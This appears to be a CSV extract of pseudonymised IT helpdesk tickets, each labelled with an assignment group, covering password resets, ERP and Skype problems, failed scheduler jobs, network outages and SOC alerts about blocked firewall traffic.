bekannt!,GRP_0 +"our printer rn33 at plant_223 doesn't work hello,_x000D_ +our printer rn33 at plant_223 for production papers doesn't work._x000D_ + we need it support a.s.a.p._x000D_ +",GRP_33 +beim scannen von aufträgen kommt die meldung das der pfad nicht existiert beim scannen von aufträgen kommt die meldung das der pfad nicht existiert,GRP_33 +"nx is not opening through extr but nx power drafting is opening name:megfgthyhana +language: +browser:microsoft internet explorer +email:pkzthgea.kgvsdmpj@gmail.com +customer number: +telephone:073 +summary:nx is not opening through extr but nx power drafting is opening",GRP_0 +"erp login error _x000D_ +_x000D_ +received from: rmezbnqt.ntbmkpuh@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ + i am unable to login to erp please do the needful._x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01d201e2.2bb514d0]_x000D_ +_x000D_ +",GRP_0 +"account information updated hi, _x000D_ +_x000D_ +could you please confirm whether this is a genuine mail??_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"wi fi connectivity issues + +received from: dshferby.houtnzdi@gmail.com + +dear team, + +good morning. + +we observe lot of wi fi connectivity issues in kirgtyan training room ( pu6 ground floor), taranga ( pu6, i floor), pu5 i floor office area, emerald conference room (admin i floor). +kind request you to look into that. + +",GRP_4 +telecom_vendor_2 card is not working telecom_vendor_2 card is not working ,GRP_0 +"power is not working computer wont turn on _x000D_ +power is not working",GRP_19 +account locked out and password reset account locked out and password reset ,GRP_0 +"request to reset microsoft online services password from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: monday, august 29, 2016 9:07 am +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: rad:request to reset microsoft online services password for tgynoqcs.uxfyzrma@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• tgynoqcs.uxfyzrma@gmail.com +• first name: nehtjuavathi +• last name: patirjy + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +"mobile device activation from: hzudxyqb qsmrwvle _x000D_ +sent: monday, august 29, 2016 8:38 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: rad:fw: your mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas it access._x000D_ +importance: high_x000D_ +_x000D_ +please restore my mobile settings to enable access emails on mobile._x000D_ +_x000D_ +thanking you,_x000D_ +_x000D_ +best ",GRP_0 +"outlook not working name:vivian kurtyar +language: +browser:microsoft internet explorer +email:jecigpzw.gqpmxwal@gmail.com +customer number: +telephone: +summary:outlook not working",GRP_0 +"erp not working _x000D_ +_x000D_ +received from: irqpwgtn.dpautgeh@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +following message is coming while clicking erp icon:_x000D_ +_x000D_ +emp code: 2027646758_x000D_ +user id: schyhty_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01d20129.ebbd62f0]_x000D_ +_x000D_ +with best ",GRP_0 +error while changing password in password_management_tool password manager (error msg is attached) error while changing password in password_management_tool password manager. please see attached snapshot & do the needful.,GRP_0 +"please help to unlock pw for user: zhrgtangs7 _x000D_ +_x000D_ +received from: kbclinop.vsczklfp@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +we tried to unlock from password_management_tool site but failed. please help to unlock for user : zhrgtangs7._x000D_ +",GRP_0 +"job hr_payroll_na_u1 failed in job_scheduler at: 08/28/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 08/28/2016 23:00:00",GRP_10 +"job hr_payroll_na_u6 failed in job_scheduler at: 08/28/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 08/28/2016 23:00:00",GRP_10 +"job hr_payroll_na_u2 failed in job_scheduler at: 08/28/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 08/28/2016 23:00:00",GRP_10 +windows account locked windows account locked ,GRP_0 +not able to login attendance_tool i am not able to login attendance_tool application. my user id is 210516 ,GRP_0 +"apac china pbx/telephony_software system issue apac china& dc have ip phone issue, one e1 line（phone number range 2062xxxx） can't dial out exterior line，if you dial out exterior line, we always received busy tone, but we can dial in. i called pbx vendor(siemens) engineer & isp to check their devices, the feedback is all devices working fine. so they let us to check our audiocodes devices, cause all line connect to audiocodes. please contact related person to contact me & help me solve the problem. ",GRP_37 +"电脑密码同步问题 hi gartryhu,_x000D_ +_x000D_ +我现在电脑有几个问题，能否远程连接后帮我处理一下。_x000D_ +_x000D_ +最近更改密码并试图同步后，同步没完成，开机密码与邮件密码不统一，且不能使用肯纳购物网，最严重的是，vpn现在连不上了，提示是密码错误，可我无论输入原来的密码或更改后的密码，都不能连接，能帮忙解决一下吗？_x000D_ +_x000D_ +_x000D_ +best ",GRP_31 +"shipping notice from: north service +sent: monday, august 29, 2016 7:42 am +to: nwfodmhc exurcwkm +cc: hrlwizav elyamqro +subject: rad:shipping notice + +hello,guys + +pls kindly set shipping notice under plant_283 for below customer to hrlwizav.elyamqro@gmail.com + +81507257 +70443464 +81857752 + + +",GRP_18 +skype could not work skype could not work ，can not hear anything,GRP_0 +laptop slowness issue laptop slowness while using multiple apps at a time. ,GRP_19 +wgq dc所有电话无法拨通外线 wgq dc所有电话无法拨通外线。,GRP_31 +"wireless outage again-taiwan 0829 _x000D_ +_x000D_ +received from: ticqvhal.vgokzesi@gmail.com_x000D_ +_x000D_ +hello~_x000D_ +_x000D_ +wireless(companysecure) outage of taiwan._x000D_ +please help~_x000D_ +_x000D_ +",GRP_4 + request to reset microsoft online services password for nhjpxoct.ewngozhx@gmail.com request to reset microsoft online services password for nhjpxoct.ewngozhx@gmail.com,GRP_0 +"job bk_hana_SID_61_erp_wly_dp failed in job_scheduler at: 08/28/2016 20:08:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_61_erp_wly_dp failed in job_scheduler at: 08/28/2016 20:08:00",GRP_5 +电脑不能开机 早上上班电脑打不开。,GRP_30 +engineering tool access requested engineering tool access requested,GRP_0 +broken client anti virus broken client anti virus ,GRP_0 +"job Job_1306 failed in job_scheduler at: 08/28/2016 17:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1306 failed in job_scheduler at: 08/28/2016 17:21:00",GRP_9 +"job Job_551 failed in job_scheduler at: 08/28/2016 15:23:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_551 failed in job_scheduler at: 08/28/2016 15:23:00",GRP_8 +"job Job_3194 failed in job_scheduler at: 08/28/2016 14:10:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3194 failed in job_scheduler at: 08/28/2016 14:10:00",GRP_10 +"job snp_heu_5_regen failed in job_scheduler at: 08/28/2016 13:32:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_5_regen failed in job_scheduler at: 08/28/2016 13:32:00",GRP_6 +"job bk_hana_SID_62_erp_wly_dp failed in job_scheduler at: 08/28/2016 13:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_62_erp_wly_dp failed in job_scheduler at: 08/28/2016 13:25:00",GRP_8 +"HostName_1304 :volume consumed on /dev/mksysbalv is more than 85% HostName_1304 :volume consumed on /dev/mksysbalv is more than 85%._x000D_ +",GRP_47 +"unable to approve expense report 2111137500 from: proygkjt mwetuhqf +sent: sunday, august 28, 2016 7:11 pm +to: nwfodmhc exurcwkm +cc: ifblxjmc dyrgfwbm; callie pollaurid +subject: re: expense report 2111137500 has been submitted. + +jeffrghryeytyf strigtyet submitted his expenses below but it did not show up as a task for me to approve in the ess portal. i've approved three other employees. two before jeffrghryey submitted his and one after. please identify why jeffrghryey's expense submittal did not show up in my system to approve. i received the workflow email that he did submit. + +-----original message----- +from: workflow system [mailto:wf-batch@company.com] +sent: friday, august 26, 2016 6:14 pm +to: proygkjt mwetuhqf +subject: expense report 2111137500 has been submitted. + +the following expense report has been submitted for your approval: + +personnel no.: 12156719280 (jeffrghryeyrghryey a strgrtyiet) +expense report no.: 2111137500 +start date: 25.07.2016 08:00:00 +end date: 24.08.2016 17:00:00 +total costs: usd 1.141,89 +reimbursement amount: usd 1.141,89 + +to review this expense report in full, please log into your universal worklist on manager self-service. + +",GRP_0 +"job Job_504 failed in job_scheduler at: 08/28/2016 09:43:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_504 failed in job_scheduler at: 08/28/2016 09:43:00",GRP_8 +"job Job_494 failed in job_scheduler at: 08/28/2016 09:22:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_494 failed in job_scheduler at: 08/28/2016 09:22:00",GRP_8 +"job Job_1314 failed in job_scheduler at: 08/28/2016 08:35:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/28/2016 08:35:00",GRP_9 +"power outage:usa- (company) - divestiture site is hard down since at 7:40 am et on 08/28/16. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _____7:40 am et on 08/28/16_________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __no______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"134 occurrences of your firewall company-european-asa.company.com-1/80.71.06.702 dropping traffic sourcing from HostName_25 dsw_x000D_ +_x000D_ +in33727185incident overview_x000D_ +=========================_x000D_ +we have detected at least 134 occurrences of your firewall company-european-asa.company.com-1/80.71.06.702 dropping traffic sourcing from HostName_25/15.69.85.2812 and destined to port 445 of one or more destination devices. this activity may indicate one of the following:_x000D_ + 1. an infection on this host_x000D_ + 2. a misconfigured firewall_x000D_ + 3. a misconfigured host_x000D_ + 4. port scan (authorized or unauthorized)_x000D_ +_x000D_ +we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. _x000D_ +_x000D_ +1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call))_x000D_ +2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal)",GRP_12 +"job snp_heu_1_regen failed in job_scheduler at: 08/28/2016 05:56:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_1_regen failed in job_scheduler at: 08/28/2016 05:56:00",GRP_6 +"in HostName_968, HostName_107, HostName_520 service alwaysupservice.exe is not running. in HostName_968, HostName_107, HostName_520 service alwaysupservice.exe is not running.",GRP_14 +"job Job_1338 failed in job_scheduler at: 08/28/2016 04:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1338 failed in job_scheduler at: 08/28/2016 04:02:00",GRP_9 +"please reset telephony_software password for: (username)-(ticket_no1545706) please reset telephony_software password +name:(full name) cajdwtgq breqgycv +username: pogredrty +extension: 207563 +site: israel",GRP_0 +"job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 08/28/2016 00:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 08/28/2016 00:11:00",GRP_8 +"job Job_3050 failed in job_scheduler at: 08/27/2016 23:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3050 failed in job_scheduler at: 08/27/2016 23:02:00",GRP_45 +"skype for business is shutting down when starting the computer the error message is ""skype for business has stopped working"" and there is an icon to click that says ""close the programdnty""",GRP_0 +india:switch company-ap-ind-pu4-2960s-stack-sw01(17.01.85.8278) is down since 8:22 pm on 08/27 et india:switch company-ap-ind-pu4-2960s-stack-sw01(17.01.85.8278) is down since 8:22 pm on 08/27 et,GRP_8 +"job Job_749 failed in job_scheduler at: 08/27/2016 15:29:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_749 failed in job_scheduler at: 08/27/2016 15:29:00",GRP_8 +"job Job_749 failed in job_scheduler at: 08/27/2016 15:29:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_749 failed in job_scheduler at: 08/27/2016 15:29:00",GRP_8 +"job SID_39hotf failed in job_scheduler at: 08/27/2016 15:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_39hotf failed in job_scheduler at: 08/27/2016 15:21:00",GRP_5 +"job SID_48hotf failed in job_scheduler at: 08/27/2016 15:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_48hotf failed in job_scheduler at: 08/27/2016 15:20:00",GRP_5 +"job Job_729 failed in job_scheduler at: 08/27/2016 15:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_729 failed in job_scheduler at: 08/27/2016 15:20:00",GRP_5 +"job SID_55apps failed in job_scheduler at: 08/27/2016 15:10:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_55apps failed in job_scheduler at: 08/27/2016 15:10:00",GRP_8 +"problem report from pwr8hmc1.hq.company.com;pmr number: 73968,082,000 reporting system: 2-hq-dev2-9119-mme-sn21a9bf7 machine type-model/serial: 9119-mme/21a9bf7 problem number: 90 +error: a8115872 +description: platform firmware (0x82) reported an error. +last occurred: 8/27/16 7:47 am +current status: opened +pmr number: 739 +details: remote support call generated on pwr8hmc1 completed successfully by server pwr8hmc1(192.168.128.1). + +",GRP_47 +company-na-usa-usa-eh-media-2960-access-sw07 switch is down at usa company location since 12:37pm et on 08/27/16 company-na-usa-usa-eh-media-2960-access-sw07 switch is down at usa company location since 12:37pm et on 08/27/16,GRP_8 +"job Job_1925 failed in job_scheduler at: 08/27/2016 12:56:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1925 failed in job_scheduler at: 08/27/2016 12:56:00",GRP_6 +"cannot connect to internet although wifi connected _x000D_ +_x000D_ +received from: ugephfta.hrbqkvij@gmail.com_x000D_ +_x000D_ +hello_x000D_ +cannot connect to any internet site via explorer although my wifi is connected. pls help urgently i am supposed to run uacyltoe hxgayczeing and am already an hour behind._x000D_ +",GRP_0 +"job Job_1989 failed in job_scheduler at: 08/27/2016 11:24:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1989 failed in job_scheduler at: 08/27/2016 11:24:00",GRP_6 +"job Job_2071 failed in job_scheduler at: 08/27/2016 11:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2071 failed in job_scheduler at: 08/27/2016 11:25:00",GRP_6 +"job Job_1989 failed in job_scheduler at: 08/27/2016 11:24:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1989 failed in job_scheduler at: 08/27/2016 11:24:00",GRP_6 +"job Job_1910 failed in job_scheduler at: 08/27/2016 11:22:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1910 failed in job_scheduler at: 08/27/2016 11:22:00",GRP_6 +"job Job_1906 failed in job_scheduler at: 08/27/2016 11:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1906 failed in job_scheduler at: 08/27/2016 11:21:00",GRP_6 +"job Job_1904 failed in job_scheduler at: 08/27/2016 11:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1904 failed in job_scheduler at: 08/27/2016 11:15:00",GRP_6 +HostName_53:volume: f:\ label:dat2-HostName_53 d4e35b72 on server is over 85% space consumed. space available: 1.4 g HostName_53:volume: f:\ label:dat2-HostName_53 d4e35b72 on server is over 85% space consumed. space available: 1.4 gb,GRP_12 +"'repeat outbound connection for 135/tcp' dsw in33693734_x000D_ +_x000D_ +we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from awyl8911907/10.16.143.215 to port 135/tcp (remote procedure call (rpc)) of external host 180.168.41.175. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code._x000D_ +_x000D_ +we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. _x000D_ +_x000D_ +1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)_x000D_ +2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +sincerely,_x000D_ + soc",GRP_50 +"repeat outbound connection for 135/tcp dsw in33604236_x000D_ +_x000D_ +incident overview_x000D_ +=========================_x000D_ +we are seeing your 18.79.63.203/company-internal-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from lhql8516748/10.24.12.180 to port 135/tcp (remote procedure call (rpc)) of external host 92.242.140.21. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code._x000D_ +_x000D_ +we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. _x000D_ +_x000D_ +1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)_x000D_ +2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +sincerely,_x000D_ + soc",GRP_3 +"29866 vid22518 bare http get executable from ip address dsw in33608874_x000D_ +_x000D_ + received alert(s) for summary ""29866 vid22518 bare http get executable from ip address (possible downloader trojan)"" from the device with ip address ""80.68.49.4169"". the source of this traffic is from ip ""16.56.04.95108"" (axcl8812244), and the destination is ip ""103.7.29.25"". details of an example event are shown below. please investigate this activity and remediate as necessary._x000D_ +_x000D_ +as always, if you have any questions or concerns, please call the counter threat operations center at 877 opt 1 to discuss, or submit a response in the open ticket with an action of ""respond to soc"". _x000D_ +_x000D_ +",GRP_30 +"54.96.80.216/att-apac-asa.company.com-1 device generating at least 129 'internal outbreak for 7/tcp' dsw in33715799_x000D_ +_x000D_ +we are seeing your 54.96.80.216/att-apac-asa.company.com-1 device generating at least 129 'internal outbreak for 7/tcp' alerts within 10 minutes, for traffic (blocked) from aidl8912600/10.38.91.26 to port 7/tcp of several internal hosts. this may indicate unauthorized reconnaissance scanning, a misconfiguration, or authorized internal discovery being blocked by the firewall._x000D_ +_x000D_ +we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. _x000D_ +_x000D_ +1) ticket only escalation for internal reconnaissance alerts (explicit notification via a medium priority ticket (no phone call))_x000D_ +2) automatically resolve internal reconnaissance alerts to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +sincerely,_x000D_ + soc_x000D_ +",GRP_19 +"job Job_1314 failed in job_scheduler at: 08/27/2016 08:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/27/2016 08:20:00",GRP_9 +"network outage: usa - (company inc) network is down since 8:06am et on 08/27/16. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________8:06am et on 08/27/16_____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___no_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____na___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +emails not updating emails not updating,GRP_0 +"job Job_1898 failed in job_scheduler at: 08/27/2016 07:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1898 failed in job_scheduler at: 08/27/2016 07:20:00",GRP_6 +HostName_148(SID_24): volume consumed on /dev/erplv is more than 85%. HostName_148(SID_24): volume consumed on /dev/erplv is more than 85%.,GRP_47 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 08/27/2016 07:08:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 08/27/2016 07:08:00",GRP_8 +"ms outlook 2010, not accepting password. ms outlook 2010, not accepting password.",GRP_0 +"job Job_3190 failed in job_scheduler at: 08/27/2016 01:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3190 failed in job_scheduler at: 08/27/2016 01:00:00",GRP_10 +"erp password locked + +received from: gnasmtvx.cwxtsvkm@gmail.com + +hi. + +please unblock the erp password. + +userid: hegdthy (gnasmtvx cwxtsvkm) + +",GRP_0 +"how to access drwgs from net weaver name:jvpkulxw ovuweygj +language: +browser:microsoft internet explorer +email:jvpkulxw.ovuweygj@gmail.com +customer number: +telephone:094 +summary:how to access drwgs from net weaver",GRP_0 +"job HostName_1019fail_uacyltoe hxgaycze failed in job_scheduler at: 08/26/2016 23:22:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail_uacyltoe hxgaycze failed in job_scheduler at: 08/26/2016 23:22:00",GRP_8 +"job Job_3028 failed in job_scheduler at: 08/26/2016 22:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/26/2016 22:02:00",GRP_45 +"circuit outage :germany -company(werkzeuge & hartstoffe) secondary vpn is down since 4:19 pm on 08/26 et what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________4:19 pm on 08/26 et______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___na____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __na_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _____na____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___yes____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ____________na_____________ _x000D_ +_x000D_ +12. notified gsc _____na___ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +unable to sync with one note files unable to sync with one note files ,GRP_16 +"problems weekly report _x000D_ +_x000D_ +received from: jokgacwd.hdfcwust@gmail.com_x000D_ +_x000D_ +hello all,_x000D_ +_x000D_ +i can´t transfer my weekly report to the system._x000D_ +_x000D_ +don´t know what´s the problem._x000D_ +_x000D_ +see the atache as well._x000D_ +_x000D_ +need your support._x000D_ +_x000D_ +",GRP_0 +"collaboration_platform assistance _x000D_ +_x000D_ +received from: wjpncyef.tspnaimc@gmail.com_x000D_ +_x000D_ +hello – i need some assistance updating part of the collaboration_platform page for my department. specifically, there is a link on our page that directs to a document. i need to ensure that a more up to date version of the document is linked._x000D_ +_x000D_ +",GRP_16 +"cannot use skype for business with full audio and video. it does not respond and must be closed down. any skype meeting used must be entered with ""call me at:"" and ""don't join audio"". the ""use skype for business(full audio and video experience)"" only freezes skype. it takes really a long time to open again._x000D_ +",GRP_0 +"job HostName_1019failagain_emb1 failed in job_scheduler at: 08/26/2016 15:26:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019failagain_emb1 failed in job_scheduler at: 08/26/2016 15:26:00",GRP_60 +"job HostName_1019fail_emb1 failed in job_scheduler at: 08/26/2016 15:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail_emb1 failed in job_scheduler at: 08/26/2016 15:21:00",GRP_60 +connecting to vpn connecting to vpn,GRP_0 +unable to scan from the hp all in one printer unable to scan from the hp all in one printer,GRP_0 +unable to submit expense report unable to submit expense report,GRP_0 +reset the password for ljpgedia bzqcwsgf on erp / production / erp reset the password for ljpgedia bzqcwsgf on erp / production / erp,GRP_0 +updating password on password_management_tool updating password on password_management_tool ,GRP_0 +"vpn _x000D_ +_x000D_ +received from: peojqgvm.qayeptuo@gmail.com_x000D_ +_x000D_ +not able to log into vpn. need some assistance please._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"bex not loading all environment bex addin is not showing all environment(SID_37, SID_39,etc) and unable to add SID_37._x000D_ +installed bex patch and bex addin but same issue, it happened to erp logon also but later manually added different environment._x000D_ +_x000D_ +can you please check how it got dierppeared without making any changes._x000D_ +_x000D_ +please refer to screenshot _x000D_ +_x000D_ +_x000D_ +computer name-lhql7404424",GRP_9 +ie settings ie settings,GRP_0 +unable to install draftsight on the pc unable to install draftsight on the pc ,GRP_0 +unable to connect to skype unable to connect to skype,GRP_0 +"remove ukxtqfda qvtaykbg from telephony_software workgroups and company directory employee took vsp therefore, remove ukxtqfda qvtaykbg from telephony_software workgroups and company directory",GRP_7 +"weekly report error message _x000D_ +_x000D_ +received from: mrczxwje.ocasryzq@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +bitte um behebung von folgendem problem._x000D_ +bei aktiver vpn verbindung kann der weekly report nicht hochgeladen werden._x000D_ +_x000D_ +[cid:image001.jpg@01d1ffc1.92c4d840]_x000D_ +_x000D_ +mit freundlichen grüßen | best ",GRP_0 +outlook is not opening outlook is not opening,GRP_27 +erp password reset urgent account got locked out erp password reset. account got locked out.,GRP_0 +unable to login to skype unable to login to skype,GRP_0 +two analog lines not working with new phone system they support our 911 and adt/tyco notification system!! need two analog lines turned back on immediately 423.928.6266 & 423.928.6076 we have no emergency notification system right now.,GRP_3 +password has expired password has expired,GRP_0 +agents are not receiving revenue the agents are not receiving the correct amount of revenue. please look at the procedure that is assigning revenue based on direct and pos rules,GRP_25 +"usa orders showing up in the us_plant to-do list both locations have a work center 81821121 defined in erp, which is causing orders for both locations to appear in the to-do list. change the query to check for both the plant and work center.",GRP_41 +"erp issues _x000D_ +_x000D_ +received from: raifstow.gfeymtql@gmail.com_x000D_ +_x000D_ +i cannot create deliveries and also erp is really slow, its hard to even get through an order. this is a huge priority as our shipments suffer._x000D_ +_x000D_ +",GRP_14 +engineering_tool error engineering_tool error ,GRP_0 +reset ess password reset ess password ,GRP_0 +"not able to do pgi for deliveries 9168017962/8057916405/9168048239/916806308 - error co account assignments delivery 9168017962 customer 81295213 - itens 7172133-6060954-7171068 ( co account assignments have different profit centers_x000D_ + message # bk134) _x000D_ +delivery 9168027516 customer 81295213- itens 2668785-3647247-4859489 ( co account assignments have different profit centers_x000D_ + message # bk134) _x000D_ +delivery 9168048239-customer 81295213-itens 4768854-3752015 ( co account assignments have different profit centers_x000D_ + message # bk134) _x000D_ +delivery 9169147360-customer 81295213-item 6101508- co account assignments have different profit centers_x000D_ + message # bk134) _x000D_ +",GRP_44 +"unable to check emails / doesn't sync // account settings are outdated. unable to remove/add/repair email account from windows phone._x000D_ +trying to repair the account and its showing that repair not possible._x000D_ +its not even letting user to remove and re-add the account._x000D_ +unable to check emails / doesn't sync // account settings are outdated._x000D_ +",GRP_33 +query : attendance_tool account. query : attendance_tool account. ,GRP_0 +ticket update on ticket_no0433866 ticket update on ticket_no0433866,GRP_0 +"erp delivery issues _x000D_ +_x000D_ +received from: raifstow.gfeymtql@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am having issues forcing deliveries in erp._x000D_ +_x000D_ +[cid:image001.png@01d1ff73.c210fc30]_x000D_ +_x000D_ +",GRP_13 